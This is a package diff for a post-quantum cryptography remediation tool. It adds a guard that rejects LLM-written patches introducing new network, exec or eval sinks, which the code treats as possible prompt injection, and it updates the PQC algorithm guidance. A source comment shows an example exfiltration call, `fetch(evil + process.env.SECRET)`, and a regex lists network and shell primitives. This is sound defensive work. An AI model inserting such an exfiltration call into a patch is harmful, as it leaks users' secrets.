if (changed > LLM_PATCH_MAX_CHANGED_LINES) {
|
|
46
|
+
return `LLM patch changes ${changed} lines (> ${LLM_PATCH_MAX_CHANGED_LINES}); too broad to auto-verify — review the diff manually`;
|
|
47
|
+
}
|
|
48
|
+
return null;
|
|
49
|
+
}
|
|
9
50
|
/**
|
|
10
51
|
* Run each finding through patchSource → policy → verify, collecting the patches
|
|
11
52
|
* that survive both gates and the reasons the rest were dropped.
|
|
@@ -25,6 +66,15 @@ export async function remediateFindings(findings, opts) {
|
|
|
25
66
|
rejected.push({ finding, reason: decision.reason ?? "rejected by patch policy" });
|
|
26
67
|
continue;
|
|
27
68
|
}
|
|
69
|
+
// Untrusted full-file LLM rewrites get a blast-radius gate the crypto-only
|
|
70
|
+
// verify step can't provide (new-sink + change-size bound).
|
|
71
|
+
if (patch.source === "llm") {
|
|
72
|
+
const risk = llmPatchRisk(content, patch);
|
|
73
|
+
if (risk) {
|
|
74
|
+
rejected.push({ finding, reason: risk });
|
|
75
|
+
continue;
|
|
76
|
+
}
|
|
77
|
+
}
|
|
28
78
|
const before = verifyFix(content, { filename: finding.location.file }).findings;
|
|
29
79
|
const after = verifyFix(patch.newContent, { filename: patch.path }).findings;
|
|
30
80
|
if (!passesVerify(before, after, finding)) {
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"remediate-pipeline.js","sourceRoot":"","sources":["../src/remediate-pipeline.ts"],"names":[],"mappings":"AAcA,OAAO,EAAE,gBAAgB,EAAE,MAAM,mBAAmB,CAAC;AAErD,OAAO,EAAE,SAAS,EAAE,MAAM,aAAa,CAAC;AAwBxC,6EAA6E;AAC7E,SAAS,YAAY,CAAC,MAAiB,EAAE,KAAgB,EAAE,OAAgB;IACzE,MAAM,UAAU,GAAG,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,MAAM,KAAK,OAAO,CAAC,MAAM,CAAC,CAAC;IACnE,MAAM,cAAc,GAAG,KAAK,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,MAAM,KAAK,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC;IACrF,OAAO,UAAU,IAAI,cAAc,IAAI,KAAK,CAAC,MAAM,GAAG,MAAM,CAAC,MAAM,CAAC;AACtE,CAAC;AAED;;;GAGG;AACH,MAAM,CAAC,KAAK,UAAU,iBAAiB,CACrC,QAA4B,EAC5B,IAAsB;IAEtB,MAAM,OAAO,GAAoB,EAAE,CAAC;IACpC,MAAM,QAAQ,GAAoB,EAAE,CAAC;IAErC,KAAK,MAAM,OAAO,IAAI,QAA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AAwC,EAAE,CAAC,CAAC;YAC7E,SAAS;QACX,CAAC;QACD,OAAO,CAAC,IAAI,CAAC,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC,CAAC;IACnC,CAAC;IAED,OAAO,EAAE,OAAO,EAAE,QAAQ,EAAE,CAAC;AAC/B,CAAC","sourcesContent":["/**\n * The remediation pipeline: turn candidate patches (from codemods or the LLM)\n * into VERIFIED, in-policy patches. Pure and deterministic — the verify gate\n * runs `verifyFix` on the patched content in memory, so this needs no\n * filesystem or git. Callers (the `qremediate` CLI) decide what to DO with the\n * verified patches (print a diff, write them, or open a PR in a worktree).\n *\n * Two gates, both must pass:\n * 1. patch-policy — the patch may only touch sanctioned files.\n * 2. verify_fix — the patched content clears the target finding, adds no\n * new finding type, and nets fewer findings than before.\n */\nimport type { Finding } from \"./types.js\";\nimport type { Patch } from \"./agent-types.js\";\nimport { checkPatchPolicy } from \"./patch-policy.js\";\nimport type { PolicyContext } from \"./patch-policy.js\";\nimport { verifyFix } from \"./verify.js\";\n\nexport interface VerifiedPatch {\n finding: Finding;\n patch: Patch;\n}\nexport interface RejectedPatch {\n finding: Finding;\n reason: string;\n}\nexport interface RemediationResult {\n applied: VerifiedPatch[];\n rejected: RejectedPatch[];\n}\n\nexport interface RemediateOptions {\n /** Current content of the file a finding lives in. */\n readContent: (finding: Finding) => Promise<string> | string;\n /** Produce a candidate patch for a finding (codemod or LLM), or null. */\n patchSource: (finding: Finding, content: string) => Promise<Patch | null> | Patch | null;\n /** Which files a patch is allowed to touch. */\n policy: PolicyContext;\n}\n\n/** True when `after` is a strict improvement over `before` for `finding`. */\nfunction passesVerify(before: Finding[], after: Finding[], finding: Finding): boolean {\n const targetGone = !after.some((x) => x.ruleId === finding.ruleId);\n const noNewRuleTypes = after.every((x) => before.some((b) => b.ruleId === x.ruleId));\n return targetGone && noNewRuleTypes && after.length < before.length;\n}\n\n/**\n * Exfiltration / RCE primitives an LLM \"crypto fix\" should never *newly*\n * introduce. `verifyFix` only proves the crypto finding is gone — it is blind to\n * the rest of a full-file rewrite, so an injected/hostile model could drop the\n * RSA call and add `fetch(evil + process.env.SECRET)` and still pass. This guard\n * runs ONLY on `source: \"llm\"` patches (codemods are deterministic + trusted).\n */\nconst NEW_SINK_RE =\n /\\b(?:fetch|XMLHttpRequest|WebSocket|navigator\\.sendBeacon|child_process|execSync|execFileSync|spawnSync|exec(?:File)?\\s*\\(|spawn\\s*\\(|eval\\s*\\(|new\\s+Function|os\\.system|subprocess|Runtime\\.getRuntime|require\\s*\\(\\s*['\"](?:child_process|http|https|net|dns|dgram)['\"]|import\\s*\\(\\s*['\"](?:child_process|http|https|net|dns|dgram)['\"])/g;\n\n/** Max changed lines allowed in an auto-verified LLM patch — a real crypto fix\n * is localized; a sprawling rewrite is not reviewable as \"just the fix\". */\nexport const LLM_PATCH_MAX_CHANGED_LINES = 60;\n\nfunction countMatches(re: RegExp, s: string): number {\n return (s.match(re) ?? []).length;\n}\n\n/** Changed lines (removed + added) between two revisions, ignoring the shared\n * prefix/suffix — same shape the CLI's unified-diff uses. */\nfunction changedLineCount(before: string, after: string): number {\n const a = before.split(\"\\n\");\n const b = after.split(\"\\n\");\n let start = 0;\n while (start < a.length && start < b.length && a[start] === b[start]) start++;\n let endA = a.length - 1;\n let endB = b.length - 1;\n while (endA >= start && endB >= start && a[endA] === b[endB]) {\n endA--;\n endB--;\n }\n return Math.max(0, endA - start + 1) + Math.max(0, endB - start + 1);\n}\n\n/** Reason an LLM patch is unsafe to auto-verify, or null when it is bounded. */\nfunction llmPatchRisk(before: string, patch: Patch): string | null {\n if (countMatches(NEW_SINK_RE, patch.newContent) > countMatches(NEW_SINK_RE, before)) {\n return \"LLM patch introduces a new network/exec/eval sink (possible prompt-injection); rejected — review the diff manually\";\n }\n const changed = changedLineCount(before, patch.newContent);\n if (changed > LLM_PATCH_MAX_CHANGED_LINES) {\n return `LLM patch changes ${changed} lines (> ${LLM_PATCH_MAX_CHANGED_LINES}); too broad to auto-verify — review the diff manually`;\n }\n return null;\n}\n\n/**\n * Run each finding through patchSource → policy → verify, collecting the patches\n * that survive both gates and the reasons the rest were dropped.\n */\nexport async function remediateFindings(\n findings: readonly Finding[],\n opts: RemediateOptions,\n): Promise<RemediationResult> {\n const applied: VerifiedPatch[] = [];\n const rejected: RejectedPatch[] = [];\n\n for (const finding of findings) {\n const content = await opts.readContent(finding);\n const patch = await opts.patchSource(finding, content);\n if (!patch) {\n rejected.push({ finding, reason: \"no deterministic fix available\" });\n continue;\n }\n const decision = checkPatchPolicy(patch, opts.policy);\n if (!decision.allowed) {\n rejected.push({ finding, reason: decision.reason ?? \"rejected by patch policy\" });\n continue;\n }\n // Untrusted full-file LLM rewrites get a blast-radius gate the crypto-only\n // verify step can't provide (new-sink + change-size bound).\n if (patch.source === \"llm\") {\n const risk = llmPatchRisk(content, patch);\n if (risk) {\n rejected.push({ finding, reason: risk });\n continue;\n }\n }\n const before = verifyFix(content, { filename: finding.location.file }).findings;\n const after = verifyFix(patch.newContent, { filename: patch.path }).findings;\n if (!passesVerify(before, after, finding)) {\n rejected.push({ finding, reason: \"patch did not pass the verify_fix gate\" });\n continue;\n }\n applied.push({ finding, patch });\n }\n\n return { applied, rejected };\n}\n"]}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"remediate-request.js","sourceRoot":"","sources":["../src/remediate-request.ts"],"names":[],"mappings":"AAQA,OAAO,EAAE,YAAY,EAAE,MAAM,aAAa,CAAC;AAE3C,4CAA4C;AAC5C,MAAM,CAAC,MAAM,gBAAgB,GAC3B,iFAAiF;IACjF,8EAA8E;IAC9E,8EAA8E;IAC9E,oEAAoE;IACpE,2EAA2E;IAC3E,+EAA+E;IAC/E,2EAA2E;IAC3E,8EAA8E;IAC9E,6DAA6D,CAAC;AAEhE,mDAAmD;AACnD,MAAM,CAAC,MAAM,kBAAkB,GAA4B;IACzD,IAAI,EAAE,QAAQ;IACd,QAAQ,EAAE,CAAC,MAAM,EAAE,YAAY,EAAE,aAAa,CA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AE,QAAQ,EAAE;QAC9B,WAAW,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE;KAChC;CACF,CAAC;AASF,yFAAyF;AACzF,MAAM,UAAU,qBAAqB,CACnC,QAA4B,EAC5B,QAAsB,UAAU,EAChC,WAA0C;IAE1C,MAAM,cAAc,GAAiB,WAAW,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,UAAU,CAAC;IACtE,MAAM,QAAQ,GAAG,QAAQ,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAClC,YAAY,CAAC,CAAC,EAAE,cAAc,EAAE,WAAW,CAAC,CAAC,CAAC,WAAW,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC,CACnE,CAAC;IACF,OAAO,EAAE,YAAY,EAAE,gBAAgB,EAAE,MAAM,EAAE,kBAAkB,EAAE,QAAQ,EAAE,CAAC;AAClF,CAAC","sourcesContent":["/**\n * Remediation rubric, fix schema, and request-bundle builder — offline and\n * deterministic, shared by `@quantakrypto/agent` (which prompts a model with\n * them) and the MCP `remediate_findings` tool (which hands the bundle to the\n * host agent). Keeping them here means the MCP server stays offline/key-free.\n */\nimport type { Finding } from \"./types.js\";\nimport type { ContextLevel, RedactedContext } from \"./agent-types.js\";\nimport { buildContext } from \"./redact.js\";\n\n/** The system rubric for a fix proposal. */\nexport const REMEDIATE_RUBRIC =\n \"You are a post-quantum cryptography migration engineer. Given the FULL content \" +\n \"of one source file plus a finding describing classical (quantum-vulnerable) \" +\n \"cryptography in it, return the FULL corrected file content that removes the \" +\n \"flagged usage, migrating to a post-quantum or hybrid construction \" +\n \"(ML-KEM-768 / ML-DSA-65, hybrid X25519MLKEM768) where a safe replacement \" +\n \"exists. Change as little as possible; preserve all other code and formatting \" +\n \"exactly. If you cannot safely fix it, return newContent identical to the \" +\n \"input. NEVER invent or alter secrets/keys. After proposing, VERIFY with the \" +\n \"verify_fix tool and keep only fixes that clear the finding.\";\n\n/** JSON Schema every fix proposal must satisfy. */\nexport const FIX_REQUEST_SCHEMA: Record<string, unknown> = {\n type: \"object\",\n required: [\"path\", \"newContent\", \"explanation\"],\n properties: {\n path: { type: \"string\" },\n newContent: { type: \"string\" },\n explanation: { type: \"string\" },\n },\n};\n\n/** A remediation request bundle for the host agent. */\nexport interface RemediateRequest {\n instructions: string;\n schema: Record<string, unknown>;\n contexts: RedactedContext[];\n}\n\n/** Build a remediation request bundle (offline; metadata level unless `readContent`). */\nexport function buildRemediateRequest(\n findings: readonly Finding[],\n level: ContextLevel = \"metadata\",\n readContent?: (finding: Finding) => string,\n): RemediateRequest {\n const effectiveLevel: ContextLevel = readContent ? level : \"metadata\";\n const contexts = findings.map((f) =>\n buildContext(f, effectiveLevel, readContent ? readContent(f) : \"\"),\n );\n return { instructions: REMEDIATE_RUBRIC, schema: FIX_REQUEST_SCHEMA, contexts };\n}\n"]}
|
package/dist/remediation.d.ts
CHANGED
|
@@ -1,8 +1,9 @@
|
|
|
1
1
|
/**
|
|
2
2
|
* Post-quantum remediation guidance for each classical asymmetric algorithm
|
|
3
|
-
* family. The recommendations follow NIST's
|
|
4
|
-
* (
|
|
5
|
-
*
|
|
3
|
+
* family. The recommendations follow NIST's finalized PQC algorithms — ML-KEM
|
|
4
|
+
* (FIPS 203), ML-DSA (FIPS 204), SLH-DSA (FIPS 205) — and the IETF hybrid
|
|
5
|
+
* key-exchange groups (X25519MLKEM768, SecP384r1MLKEM1024). Forward-looking
|
|
6
|
+
* standards to track are captured in {@link PQC_TRANSITION_NOTE}.
|
|
6
7
|
*/
|
|
7
8
|
import type { AlgorithmFamily, Remediation } from "./types.js";
|
|
8
9
|
/** Look up the recommended post-quantum remediation for a classical algorithm. */
|
|
@@ -47,6 +48,11 @@ export declare function remediationForTier(algorithm: AlgorithmFamily, tier?: Se
|
|
|
47
48
|
* low-volume signing root is appropriate.
|
|
48
49
|
*/
|
|
49
50
|
export declare const STATEFUL_HBS_NOTE: string;
|
|
51
|
+
/**
|
|
52
|
+
* Forward-looking PQC standards worth tracking beyond the current FIPS 203/204/205
|
|
53
|
+
* targets. Surfaced for operators planning multi-year migrations.
|
|
54
|
+
*/
|
|
55
|
+
export declare const PQC_TRANSITION_NOTE: string;
|
|
50
56
|
/** True when stateful HBS (SP 800-208) is a reasonable alternative for a family. */
|
|
51
57
|
export declare function statefulHbsApplies(algorithm: AlgorithmFamily): boolean;
|
|
52
58
|
//# sourceMappingURL=remediation.d.ts.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"remediation.d.ts","sourceRoot":"","sources":["../src/remediation.ts"],"names":[],"mappings":"AAAA
|
|
1
|
+
{"version":3,"file":"remediation.d.ts","sourceRoot":"","sources":["../src/remediation.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AACH,OAAO,KAAK,EAAE,eAAe,EAAE,WAAW,EAAE,MAAM,YAAY,CAAC;AAoF/D,kFAAkF;AAClF,wBAAgB,cAAc,CAAC,SAAS,EAAE,eAAe,GAAG,WAAW,GAAG,SAAS,CAElF;AAED,uFAAuF;AACvF,wBAAgB,eAAe,CAAC,SAAS,EAAE,eAAe,GAAG,MAAM,CAElE;AAED;;;;;;GAMG;AACH,wBAAgB,uBAAuB,CAAC,SAAS,EAAE,eAAe,GAAG,OAAO,CAS3E;AAED,qFAAqF;AACrF,wBAAgB,iBAAiB,CAAC,SAAS,EAAE,eAAe,GAAG,OAAO,CAIrE;AAMD;;;;;GAKG;AACH,MAAM,MAAM,YAAY,GAAG,YAAY,GAAG,YAAY,CAAC;AAEvD,+CAA+C;AAC/C,eAAO,MAAM,WAAW,EAAE,MAAM,CAAC,YAAY,EAAE;IAAE,GAAG,EAAE,MAAM,CAAC;IAAC,SAAS,EAAE,MAAM,CAAC;IAAC,IAAI,EAAE,MAAM,CAAA;CAAE,CAW9F,CAAC;AAEF;;;;;GAKG;AACH,wBAAgB,kBAAkB,CAChC,SAAS,EAAE,eAAe,EAC1B,IAAI,GAAE,YAA2B,GAChC,WAAW,CA2Bb;AAED;;;;;;GAMG;AACH,eAAO,MAAM,iBAAiB,QAKO,CAAC;AAEtC;;;GAGG;AACH,eAAO,MAAM,mBAAmB,QAMkC,CAAC;AAEnE,oFAAoF;AACpF,wBAAgB,kBAAkB,CAAC,SAAS,EAAE,eAAe,GAAG,OAAO,CAGtE"}
|
package/dist/remediation.js
CHANGED
|
@@ -48,17 +48,19 @@ const REMEDIATIONS = {
|
|
|
48
48
|
},
|
|
49
49
|
X448: {
|
|
50
50
|
algorithm: "X448",
|
|
51
|
-
recommendation: "hybrid
|
|
51
|
+
recommendation: "hybrid SecP384r1MLKEM1024 (or X25519MLKEM768)",
|
|
52
52
|
detail: "X448 (Goldilocks curve) is a modern classical key-agreement primitive at a " +
|
|
53
53
|
"higher classical security level, but it is still broken by Shor's algorithm. " +
|
|
54
|
-
"
|
|
54
|
+
"To preserve that assurance level, prefer the SecP384r1MLKEM1024 hybrid " +
|
|
55
|
+
"(ML-KEM-1024); X25519MLKEM768 is acceptable at the commercial tier.",
|
|
55
56
|
},
|
|
56
57
|
ECIES: {
|
|
57
58
|
algorithm: "ECIES",
|
|
58
|
-
recommendation: "ML-KEM-768 hybrid encryption",
|
|
59
|
+
recommendation: "ML-KEM-768 hybrid encryption (X-Wing for HPKE)",
|
|
59
60
|
detail: "ECIES relies on classical ECDH for its key encapsulation and is exposed to " +
|
|
60
|
-
"harvest-now-decrypt-later. Replace the KEM step with ML-KEM-768 (FIPS 203)
|
|
61
|
-
"
|
|
61
|
+
"harvest-now-decrypt-later. Replace the KEM step with ML-KEM-768 (FIPS 203) in " +
|
|
62
|
+
"a hybrid construction — for HPKE-style application-layer encryption, X-Wing " +
|
|
63
|
+
"(X25519 + ML-KEM-768) is the emerging hybrid KEM target.",
|
|
62
64
|
},
|
|
63
65
|
unknown: {
|
|
64
66
|
algorithm: "unknown",
|
|
@@ -117,7 +119,22 @@ export function remediationForTier(algorithm, tier = "category-3") {
|
|
|
117
119
|
const base = REMEDIATIONS[algorithm];
|
|
118
120
|
const params = TIER_PARAMS[tier];
|
|
119
121
|
// Confidentiality families lean on the KEM; signature families on the signer.
|
|
120
|
-
const
|
|
122
|
+
const isConf = isConfidentialityFamily(algorithm);
|
|
123
|
+
const primary = isConf ? params.kem : params.signature;
|
|
124
|
+
// Category-5 (CNSA 2.0 / NSS) mandates the ML-KEM-1024 / ML-DSA-87 parameter
|
|
125
|
+
// sets and must NOT surface the category-3 X25519MLKEM768 hybrid (its PQC
|
|
126
|
+
// component is ML-KEM-768 — sub-CNSA). Lead with the mandated set; only point
|
|
127
|
+
// at a hybrid TLS group at the 1024 level (audit: quantum #1, crypto S5).
|
|
128
|
+
if (tier === "category-5") {
|
|
129
|
+
const hybridNote = isConf
|
|
130
|
+
? " If a hybrid TLS group is required, use SecP384r1MLKEM1024 (draft-ietf-tls-ecdhe-mlkem) — not X25519MLKEM768, whose ML-KEM-768 component does not meet CNSA 2.0."
|
|
131
|
+
: "";
|
|
132
|
+
return {
|
|
133
|
+
algorithm,
|
|
134
|
+
recommendation: `${primary} — CNSA 2.0 mandates this parameter set (hybrids optional)`,
|
|
135
|
+
detail: `${base.detail} ${params.note} For CNSA 2.0 / national-security systems use ${params.kem} (KEM) and ${params.signature} (signatures).${hybridNote}`,
|
|
136
|
+
};
|
|
137
|
+
}
|
|
121
138
|
return {
|
|
122
139
|
algorithm,
|
|
123
140
|
recommendation: `${base.recommendation} — ${tier}: ${primary}`,
|
|
@@ -136,6 +153,16 @@ export const STATEFUL_HBS_NOTE = "For firmware / secure-boot signing, the statef
|
|
|
136
153
|
"but they are STATEFUL: the signer must never reuse a one-time key index. " +
|
|
137
154
|
"Use only with rigorous state management; otherwise prefer stateless ML-DSA " +
|
|
138
155
|
"(FIPS 204) or SLH-DSA (FIPS 205).";
|
|
156
|
+
/**
|
|
157
|
+
* Forward-looking PQC standards worth tracking beyond the current FIPS 203/204/205
|
|
158
|
+
* targets. Surfaced for operators planning multi-year migrations.
|
|
159
|
+
*/
|
|
160
|
+
export const PQC_TRANSITION_NOTE = "Migration urgency: NIST IR 8547 deprecates classical public-key crypto after " +
|
|
161
|
+
"2030 and disallows it after 2035 — long-lived (harvest-now-decrypt-later) data " +
|
|
162
|
+
"must move sooner. Standards to track: HQC (NIST's code-based backup KEM, " +
|
|
163
|
+
"selected March 2025; draft FIPS expected ~2026) as a diversity hedge against " +
|
|
164
|
+
"ML-KEM; FN-DSA / Falcon (draft FIPS 206) for compact lattice signatures; and " +
|
|
165
|
+
"X-Wing (X25519 + ML-KEM-768) for HPKE-style hybrid encryption.";
|
|
139
166
|
/** True when stateful HBS (SP 800-208) is a reasonable alternative for a family. */
|
|
140
167
|
export function statefulHbsApplies(algorithm) {
|
|
141
168
|
// Signature families only — LMS/XMSS are signatures, not KEMs.
|
package/dist/remediation.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"remediation.js","sourceRoot":"","sources":["../src/remediation.ts"],"names":[],"mappings":"AAQA,8DAA8D;AAC9D,MAAM,YAAY,GAAyC;IACzD,GAAG,EAAE;QACH,SAAS,EAAE,KAAK;QAChB,cAAc,EAAE,yDAAyD;QACzE,MAAM,EACJ,4EAA4E;YAC5E,2EAA2E;YAC3E,gEAAgE;KACnE;IACD,IAAI,EAAE;QACJ,SAAS,EAAE,MAAM;QACjB,cAAc,EAAE,oCAAoC;QACpD,MAAM,EACJ,6EAA6E;YAC7E,gFAAgF;YAChF,2DAA2D;KAC9D;IACD,KAAK,EAAE;QACL,SAAS,EAAE,OAAO;QAClB,cAAc,EAAE,sBAAsB;QACtC,MAAM,EACJ,6EAA6E;YAC7E,8EAA8E;YAC9E,wBAAwB;KAC3B;IACD,KAAK,EAAE;QACL,SAAS,EAAE,OAAO;QAClB,cAAc,EAAE,sBAAsB;QACtC,MAAM,EACJ,+EAA+E;YAC/E,iFAAiF;KACpF;IACD,EAAE,EAAE;QACF,SAAS,EAAE,IAAI;QACf,cAAc,EAAE,oCAAoC;QACpD,MAAM,EACJ,2EAA2E;YAC3E,6EAA6E;KAChF;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each classical asymmetric algorithm\n * family. The recommendations follow NIST's finalized PQC algorithms — ML-KEM\n * (FIPS 203), ML-DSA (FIPS 204), SLH-DSA (FIPS 205) — and the IETF hybrid\n * key-exchange groups (X25519MLKEM768, SecP384r1MLKEM1024). Forward-looking\n * standards to track are captured in {@link PQC_TRANSITION_NOTE}.\n */\nimport type { AlgorithmFamily, Remediation } from \"./types.js\";\n\n/** Canonical remediation table, keyed by algorithm family. */\nconst REMEDIATIONS: Record<AlgorithmFamily, Remediation> = {\n RSA: {\n algorithm: \"RSA\",\n recommendation: \"ML-KEM-768 for encryption/KEM; ML-DSA-65 for signatures\",\n detail:\n \"RSA is broken by Shor's algorithm. For key transport / encryption move to \" +\n \"ML-KEM-768 (FIPS 203), ideally as the hybrid X25519MLKEM768. For digital \" +\n \"signatures move to ML-DSA-65 (FIPS 204) or SLH-DSA (FIPS 205).\",\n },\n ECDH: {\n algorithm: \"ECDH\",\n recommendation: \"hybrid X25519MLKEM768 (ML-KEM-768)\",\n detail:\n \"Elliptic-curve Diffie-Hellman is broken by Shor's algorithm and is exposed \" +\n \"to harvest-now-decrypt-later. Adopt the hybrid X25519MLKEM768 key exchange so \" +\n \"confidentiality survives even if one component is broken.\",\n },\n ECDSA: {\n algorithm: \"ECDSA\",\n recommendation: \"ML-DSA-65 (FIPS 204)\",\n detail:\n \"ECDSA signatures can be forged by a quantum attacker via Shor's algorithm. \" +\n \"Migrate to ML-DSA (Dilithium, FIPS 204) or SLH-DSA (SPHINCS+, FIPS 205) for \" +\n \"long-lived signatures.\",\n },\n EdDSA: {\n algorithm: \"EdDSA\",\n recommendation: \"ML-DSA-65 (FIPS 204)\",\n detail:\n \"Ed25519 / Ed448 (EdDSA) are classical signatures broken by Shor's algorithm. \" +\n \"Replace with ML-DSA-65 (FIPS 204) or SLH-DSA (FIPS 205) for forgery resistance.\",\n },\n DH: {\n algorithm: \"DH\",\n recommendation: \"hybrid X25519MLKEM768 (ML-KEM-768)\",\n detail:\n \"Finite-field Diffie-Hellman is broken by Shor's algorithm and exposed to \" +\n \"harvest-now-decrypt-later. Move to a hybrid PQC KEM such as X25519MLKEM768.\",\n },\n DSA: {\n algorithm: \"DSA\",\n recommendation: \"ML-DSA-65 (FIPS 204)\",\n detail:\n \"DSA is a classical, quantum-broken signature scheme (and already deprecated). \" +\n \"Replace with ML-DSA-65 (FIPS 204) or SLH-DSA (FIPS 205).\",\n },\n X25519: {\n algorithm: \"X25519\",\n recommendation: \"hybrid X25519MLKEM768 (ML-KEM-768)\",\n detail:\n \"X25519 is a modern, well-built classical key-agreement primitive but is still \" +\n \"broken by Shor's algorithm. Wrap it in the hybrid X25519MLKEM768 construction \" +\n \"so it stays useful during the PQC transition.\",\n },\n X448: {\n algorithm: \"X448\",\n recommendation: \"hybrid SecP384r1MLKEM1024 (or X25519MLKEM768)\",\n detail:\n \"X448 (Goldilocks curve) is a modern classical key-agreement primitive at a \" +\n \"higher classical security level, but it is still broken by Shor's algorithm. \" +\n \"To preserve that assurance level, prefer the SecP384r1MLKEM1024 hybrid \" +\n \"(ML-KEM-1024); X25519MLKEM768 is acceptable at the commercial tier.\",\n },\n ECIES: {\n algorithm: \"ECIES\",\n recommendation: \"ML-KEM-768 hybrid encryption (X-Wing for HPKE)\",\n detail:\n \"ECIES relies on classical ECDH for its key encapsulation and is exposed to \" +\n \"harvest-now-decrypt-later. Replace the KEM step with ML-KEM-768 (FIPS 203) in \" +\n \"a hybrid construction — for HPKE-style application-layer encryption, X-Wing \" +\n \"(X25519 + ML-KEM-768) is the emerging hybrid KEM target.\",\n },\n unknown: {\n algorithm: \"unknown\",\n recommendation: \"review for post-quantum migration\",\n detail:\n \"This usage involves classical public-key cryptography. Audit it and plan a \" +\n \"migration to NIST PQC standards (ML-KEM / FIPS 203, ML-DSA / FIPS 204).\",\n },\n};\n\n/** Look up the recommended post-quantum remediation for a classical algorithm. */\nexport function remediationFor(algorithm: AlgorithmFamily): Remediation | undefined {\n return REMEDIATIONS[algorithm];\n}\n\n/** Convenience: just the short recommendation string for a family (always defined). */\nexport function remediationText(algorithm: AlgorithmFamily): string {\n return REMEDIATIONS[algorithm].recommendation;\n}\n\n/**\n * True when a family's PQC replacement is a KEM — i.e. it's used for\n * confidentiality / key-agreement (and is therefore harvest-now-decrypt-later\n * exposed). RSA is in both this set and {@link isSignatureFamily}. Single\n * source of truth for the family→target taxonomy used by tier guidance and the\n * multi-family remediation composer.\n */\nexport function isConfidentialityFamily(algorithm: AlgorithmFamily): boolean {\n return (\n algorithm === \"RSA\" ||\n algorithm === \"ECDH\" ||\n algorithm === \"DH\" ||\n algorithm === \"X25519\" ||\n algorithm === \"X448\" ||\n algorithm === \"ECIES\"\n );\n}\n\n/** True when a family's PQC replacement is a signature scheme (ML-DSA / SLH-DSA). */\nexport function isSignatureFamily(algorithm: AlgorithmFamily): boolean {\n return (\n algorithm === \"RSA\" || algorithm === \"ECDSA\" || algorithm === \"EdDSA\" || algorithm === \"DSA\"\n );\n}\n\n/* -------------------------------------------------------------------------- */\n/* Security-tier guidance (CNSA 2.0 Category 5) + stateful HBS (SP 800-208) */\n/* -------------------------------------------------------------------------- */\n\n/**\n * Security tier for remediation guidance.\n * - `\"category-3\"` (default): commercial use — ML-KEM-768 / ML-DSA-65.\n * - `\"category-5\"`: CNSA 2.0 national-security-systems / long-lived secrets —\n * ML-KEM-1024 / ML-DSA-87.\n */\nexport type SecurityTier = \"category-3\" | \"category-5\";\n\n/** Per-tier KEM / signature parameter sets. */\nexport const TIER_PARAMS: Record<SecurityTier, { kem: string; signature: string; note: string }> = {\n \"category-3\": {\n kem: \"ML-KEM-768 (FIPS 203)\",\n signature: \"ML-DSA-65 (FIPS 204)\",\n note: \"NIST Category 3 — default for general commercial use.\",\n },\n \"category-5\": {\n kem: \"ML-KEM-1024 (FIPS 203)\",\n signature: \"ML-DSA-87 (FIPS 204)\",\n note: \"NIST Category 5 — CNSA 2.0 for national-security systems and long-lived secrets (2030/2033 milestones).\",\n },\n};\n\n/**\n * Tier-aware remediation. Returns the base family remediation plus the\n * parameter sets for the requested CNSA tier. Category 5 surfaces the\n * ML-KEM-1024 / ML-DSA-87 sets mandated by CNSA 2.0; category 3 is the\n * commercial default.\n */\nexport function remediationForTier(\n algorithm: AlgorithmFamily,\n tier: SecurityTier = \"category-3\",\n): Remediation {\n const base = REMEDIATIONS[algorithm];\n const params = TIER_PARAMS[tier];\n // Confidentiality families lean on the KEM; signature families on the signer.\n const isConf = isConfidentialityFamily(algorithm);\n const primary = isConf ? params.kem : params.signature;\n\n // Category-5 (CNSA 2.0 / NSS) mandates the ML-KEM-1024 / ML-DSA-87 parameter\n // sets and must NOT surface the category-3 X25519MLKEM768 hybrid (its PQC\n // component is ML-KEM-768 — sub-CNSA). Lead with the mandated set; only point\n // at a hybrid TLS group at the 1024 level (audit: quantum #1, crypto S5).\n if (tier === \"category-5\") {\n const hybridNote = isConf\n ? \" If a hybrid TLS group is required, use SecP384r1MLKEM1024 (draft-ietf-tls-ecdhe-mlkem) — not X25519MLKEM768, whose ML-KEM-768 component does not meet CNSA 2.0.\"\n : \"\";\n return {\n algorithm,\n recommendation: `${primary} — CNSA 2.0 mandates this parameter set (hybrids optional)`,\n detail: `${base.detail} ${params.note} For CNSA 2.0 / national-security systems use ${params.kem} (KEM) and ${params.signature} (signatures).${hybridNote}`,\n };\n }\n\n return {\n algorithm,\n recommendation: `${base.recommendation} — ${tier}: ${primary}`,\n detail: `${base.detail} ${params.note} For this tier use ${params.kem} (KEM) and ${params.signature} (signatures).`,\n };\n}\n\n/**\n * Guidance for stateful hash-based signatures (SP 800-208: LMS / XMSS / HSS).\n * These are NIST-approved for firmware / boot signing but are STATEFUL — each\n * private key may sign a bounded number of messages and the state MUST be\n * managed to avoid catastrophic key reuse. Surfaced where a long-lived,\n * low-volume signing root is appropriate.\n */\nexport const STATEFUL_HBS_NOTE =\n \"For firmware / secure-boot signing, the stateful hash-based signatures \" +\n \"LMS, XMSS and HSS (NIST SP 800-208) are approved alternatives to ML-DSA, \" +\n \"but they are STATEFUL: the signer must never reuse a one-time key index. \" +\n \"Use only with rigorous state management; otherwise prefer stateless ML-DSA \" +\n \"(FIPS 204) or SLH-DSA (FIPS 205).\";\n\n/**\n * Forward-looking PQC standards worth tracking beyond the current FIPS 203/204/205\n * targets. Surfaced for operators planning multi-year migrations.\n */\nexport const PQC_TRANSITION_NOTE =\n \"Migration urgency: NIST IR 8547 deprecates classical public-key crypto after \" +\n \"2030 and disallows it after 2035 — long-lived (harvest-now-decrypt-later) data \" +\n \"must move sooner. Standards to track: HQC (NIST's code-based backup KEM, \" +\n \"selected 